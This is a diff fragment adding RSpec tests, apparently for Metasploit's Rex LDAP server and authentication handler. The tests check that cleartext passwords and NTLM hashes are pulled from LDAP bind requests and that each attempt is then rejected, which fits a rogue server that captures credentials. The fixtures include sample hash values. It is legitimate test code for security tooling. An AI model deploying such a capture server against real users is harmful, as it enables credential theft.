requests with an username and domain in a DN object' do + user_login.name = 'cn=username,dc=domain,dc=com' + user_login.authentication = 'password' + + result = parameter_auth.handle_simple_request(user_login) + + expect(result[:user]).to eq('username') + expect(result[:domain]).to eq('domain.com') + expect(result[:private]).to eq('password') + expect(result[:private_type]).to eq(:password) + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported) + expect(result[:auth_type]).to eq('Simple') + end + + it 'handles requests with an username and multiple DC components for domain in a DN object' do + user_login.name = 'cn=username,dc=domain1,dc=domain2,dc=domain3' + user_login.authentication = 'password' + + result = parameter_auth.handle_simple_request(user_login) + + expect(result[:user]).to eq('username') + expect(result[:domain]).to eq('domain1.domain2.domain3') + expect(result[:private]).to eq('password') + expect(result[:private_type]).to eq(:password) + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported) + expect(result[:auth_type]).to eq('Simple') + end + + it 'handles requests with information in the form of username@domain' do + user_login.name = 'username@domain.com' + user_login.authentication = 'password' + + result = parameter_auth.handle_simple_request(user_login) + + expect(result[:user]).to eq('username') + expect(result[:domain]).to eq('domain.com') + expect(result[:private]).to eq('password') + expect(result[:private_type]).to eq(:password) + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported) + expect(result[:auth_type]).to eq('Simple') + end + + it 'handles requests with invalid DN and CN components' do + user_login.name = 'cn=user,name,mydomain,dc=com' + user_login.authentication = 'password' + + expect { parameter_auth.handle_simple_request(user_login) }.to raise_error(Net::LDAP::InvalidDNError) + end + + it 'handles requests with username and domain in NETBIOS format' do + user_login.name = 'domain\\username' + user_login.authentication = 'password' + + result = parameter_auth.handle_simple_request(user_login) + + expect(result[:user]).to eq('username') + expect(result[:domain]).to eq('domain') + expect(result[:private]).to eq('password') + expect(result[:private_type]).to eq(:password) + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported) + expect(result[:auth_type]).to eq('Simple') + end + + it 'handles authentication requests with incorrect request format' do + user_login.name = 'username' + user_login.authentication = 'password' + + result = parameter_auth.handle_simple_request(user_login) + + expect(result[:user]).to eq('username') + expect(result[:domain]).to be_nil + expect(result[:private]).to eq('password') + expect(result[:private_type]).to eq(:password) + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeInvalidCredentials) + expect(result[:auth_type]).to eq('Simple') + end + end + + context '#handle_sasl_request' do + context 'using GSS-SPNEGO mechanism' do + context 'using LM/NTLM authentication' do + it 'handles NTLM Type1 requests with an NTLM type2 response' do + result = parameter_auth.handle_sasl_request(ntlm_type1) + + expect(result[:server_creds]).to be_a(String) + expect(Net::NTLM::Message.parse(result[:server_creds])).to(be_a(Net::NTLM::Message::Type2)) + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeSaslBindInProgress) + expect(result[:auth_type]).to eq('SASL') + end + + it 'handles NTLM Type3 requests containing client information' do + result = parameter_auth.handle_sasl_request(ntlm_type3) + + expect(result[:domain]).to eq('DOMAIN') + expect(result[:user]).to eq('User') + expect(result[:private]).not_to be_nil + expect(result[:private_type]).to eq(:ntlm_hash) + expect(result[:auth_type]).to eq('SASL') + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported) + expect(result[:auth_type]).to eq('SASL') + end + end + + context 'unsupprted SASL value' do + let(:request) do + auth_message = 'INVALIDSSP' + sasl = ['GSS-SPNEGO'.to_ber, auth_message.to_ber].to_ber_contextspecific(3) + br = [ + Net::LDAP::Connection::LdapVersion.to_ber, ''.to_ber, sasl + ].to_ber_appsequence(Net::LDAP::PDU::BindRequest) + + type1 = [0.to_ber, br, nil].compact.to_ber_sequence.read_ber(Net::LDAP::AsnSyntax) + pdu = Net::LDAP::PDU.new(type1) + pdu.bind_parameters + end + it 'hanldes and unknown SASL header as unsuppoted' do + result = parameter_auth.handle_sasl_request(request) + expect(result[:auth_type]).to eq('SASL') + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported) + end + end + end + end + + context 'private methods' do + context '#generate_type2_response' do + it 'returns a valid NTLM Type2 message from NTLM Type1 message' do + message = Net::NTLM::Message.parse(ntlm_type1.authentication[1]) + result = parameter_auth.send(:generate_type2_response, message) + + expect(result).to be_a(String) + end + end + + context '#handle_type3_message' do + it 'handles NTLM Type3 message and returns the expected authentication information' do + message = Net::NTLM::Message.parse(ntlm_type3.authentication[1]) + result = parameter_auth.send(:handle_type3_message, message) + + expect(result[:domain]).to eq('DOMAIN') + expect(result[:user]).to eq('User') + expect(result[:private]).not_to be_nil + expect(result[:private_type]).to eq(:ntlm_hash) + expect(result[:ntlm_ver]).not_to be_nil + end + end + + context '#process_ntlm_hash' do + it 'processes NTLM hash from Type3 message and returns the expected information' do + ntlm_info = { + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + lm_hash: '054ab6f7f2d60c068bf03a4e27d99834', + lm_cli_challenge: '2464587cc5ef2d6c', + nt_hash: '93d3aa55263a1d37931a67a5b54710b8', + nt_cli_challenge: '0101000000000000006e8eed5507da012464587cc5ef2d6c0000000002000c004 + 4004f004d00410049004e0001000c005300450052005600450052000400160065 + 00780061006d0070006c0065002e0063006f006d0003002400530045005200560 + 0450052002e006500780061006d0070006c0065002e0063006f006d0000000000', + domain: "D\x00O\x00M\x00A\x00I\x00N\x00", + user: "U\x00s\x00e\x00r\x00", + host: "W\x00O\x00R\x00K\x00S\x00T\x00A\x00T\x00I\x00O\x00N\x00" + } + + result = parameter_auth.send(:process_ntlm_hash, ntlm_info) + + expect(result[:domain]).to eq('DOMAIN') + expect(result[:user]).to eq('User') + expect(result[:private]).not_to be_nil + expect(result[:private_type]).to eq(:ntlm_hash) + expect(result[:ntlm_ver]).not_to be_nil + end + end + end +end diff --git a/spec/lib/rex/proto/ldap/server_spec.rb b/spec/lib/rex/proto/ldap/server_spec.rb new file mode 100644 index 000000000000..9c6250038d78 --- /dev/null +++ b/spec/lib/rex/proto/ldap/server_spec.rb @@ -0,0 +1,161 @@ +# frozen_string_literal: true +require 'rex/text' + +RSpec.describe Rex::Proto::LDAP::Server do + + subject(:ldif) { nil } + + subject(:auth_provider) do + Rex::Proto::LDAP::Auth.new(nil, nil, nil, nil, nil) + end + + subject(:server) do + described_class.new('0.0.0.0', 40000, true, true, ldif, nil, auth_provider) + end + + let(:response) {} + + before do + server.processed_pdu_handler(Net::LDAP::PDU::BindRequest) do |processed_data| + processed_data = 'Processed Data' + end + end + + context 'initialize' do + it 'sets the server options correctly' do + expect(server.serve_udp).to eq(true) + expect(server.serve_tcp).to eq(true) + expect(server.sock_options).to include('LocalHost' => '0.0.0.0', 'LocalPort' => 40000, 'Comm' => nil) + expect(server.ldif).to eq(ldif) + expect(server.instance_variable_get(:@auth_provider)).to eq(auth_provider) + expect(server.instance_variable_get(:@auth_provider)).to be_a(Rex::Proto::LDAP::Auth) + end + end + + describe '#running?' do + context 'when the server is not running' do + it 'returns false' do + expect(server.running?).to be_nil + end + end + + context 'when the server is running' do + before { server.start } + + it 'returns true' do + expect(server.running?).not_to be_nil + end + + after { server.stop } + end + end + + describe '#start' do + context 'start server with the provided options' do + before { server.start } + + + it 'starts the UDP server if serve_udp is true' do + if server.serve_udp + expect(server.udp_sock).to be_a(Rex::Socket::Udp) + expect(server.running?).to be true + end + end + + it 'starts the TCP server if serve_tcp is true' do + if server.serve_tcp + expect(server.tcp_sock).to be_a(Rex::Socket::TcpServer) + expect(server.running?).to be true + end + end + + after { server.stop } + end + end + + describe '#stop' do + before { server.start } + + it 'stops the server when running' do + server.stop + expect(server.running?).to be nil + end + end + + describe '#dispatch_request' do + it 'calls dispatch_request_proc if it is set' do + client = double('client') + allow(client).to receive(:peerhost) { '1.1.1.1' } + allow(client).to receive(:peerport) { '389' } + allow(client).to receive(:write).with(response) + allow(client).to receive(:close) + + block_called = false + server.dispatch_request_proc = proc { block_called = true } + server.dispatch_request(client, 'LDAP request data') + expect(block_called).to be true + end + + it 'calls default_dispatch_request if dispatch_request_proc is not set' do + client = double('client') + allow(client).to receive(:peerhost) { '1.1.1.1' } + allow(client).to receive(:peerport) { '389' } + allow(client).to receive(:write).with(any_args) + allow(client).to receive(:close) + + expect { server.dispatch_request(client, String.new("02\x02\x01\x01`-\x02\x01\x03\x04\"cn=user,dc=example,dc=com\x80\x04kali").force_encoding('ASCII-8BIT')) }.not_to raise_error + end + end + + describe '#default_dispatch_request' do + it 'returns nil for empty request data' do + client = double('client') + allow(client).to receive(:peerhost) { '1.1.1.1' } + allow(client).to receive(:peerport) { '389' } + allow(client).to receive(:write).with(any_args) + allow(client).to receive(:close) + data = '' + expect { server.default_dispatch_request(client, data) }.not_to raise_error + end + end + + describe '#encode_ldap_response' do + it 'encodes an LDAP response correctly' do + msgid = 1 + code = Net::LDAP::ResultCodeSuccess + dn = '' + msg = Net::LDAP::ResultStrings[Net::LDAP::ResultCodeSuccess] + tag = Net::LDAP::PDU::BindResult + context_data = nil + context_code = nil + + response = server.encode_ldap_response(msgid, code, dn, msg, tag, context_data, context_code) + expect(response).to be_a(String) + end + end + + describe '#search_result' do + context 'when searching with no LDIF data' do + it 'returns a random search result' do + result = server.search_result(nil, 1) + + expect(result).to be_nil + end + end + end + + describe '#processed_pdu_handler' do + it 'sets the processed_pdu_handler correctly' do + + expect(server.instance_variable_get(:@pdu_process)[Net::LDAP::PDU::BindRequest]).to be_a(Proc) + expect((server.instance_variable_get(:@pdu_process)[Net::LDAP::PDU::BindRequest]).call({})).to eq('Processed Data') + end + end + + describe '#suitable_response' do + it 'returns the appropriate response type for a given request type' do + expect(server.suitable_response(Net::LDAP::PDU::BindRequest)).to eq(Net::LDAP::PDU::BindResult) + expect(server.suitable_response(Net::LDAP::PDU::SearchRequest)).to eq(Net::LDAP::PDU::SearchResult) + end + end +end